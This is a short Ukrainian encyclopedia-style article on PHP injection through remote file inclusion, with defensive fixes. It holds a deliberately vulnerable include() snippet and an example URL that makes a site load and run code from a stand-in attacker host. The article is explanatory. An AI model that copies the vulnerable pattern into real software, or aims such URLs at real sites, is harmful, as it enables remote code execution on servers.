PHP-ін'єкція
PHP-ін'єкція (англ. PHP injection) — один із способів злому вебсайтів, що працюють на PHP, який полягає у виконанні стороннього коду на серверній стороні. Потенційно небезпечними функціями є:
- eval(),
- preg_replace() (з модифікатором «e»),
- require_once(),
- include_once(),
- include(),
- require(),
- create_function().
PHP-ін'єкція стає можливою, якщо вхідні параметри приймаються і використовуються без перевірки.
Приклад
<?
...
$module = $_GET['module'];
include ($module.'.php');
...
?>
Цей скрипт уразливий, оскільки до вмісту змінної $module
просто додається «.php» та підключається файл.
Зломщик може на своєму сайті створити файл, що містить PHP-код (http://hackersite.com/inc.php
), і зайшовши на сайт за посиланням на зразок
http://mysite.com/index.php?module=http://hackersite.com/inc
виконати будь-які PHP-команди.
Способи захисту
Існує декілька способів захисту від такої атаки:
- Перевіряти, чи не містить змінна
$module
сторонні символи:
<?
...
$module = $_GET['module'];
if (strpbrk($module, '. ?/:') ) die('Blocked');
include $module. '.php';
...
?>
- Перевіряти, що
$module
присвоєно одне з допустимих значень:
<?
...
$module = $_GET['module'];
$arr = array('main', 'about','links','forum');
if (!in_array($module, $arr) ) $module = $arr[0];
include $module. '.php' ;
...
?>
Цей спосіб є ефективнішим.
PHP надає також можливість відключення використання віддалених файлів, це реалізується шляхом зміни значення опції allow_url_fopen
на Off у файлі конфігурації сервера php.ini
.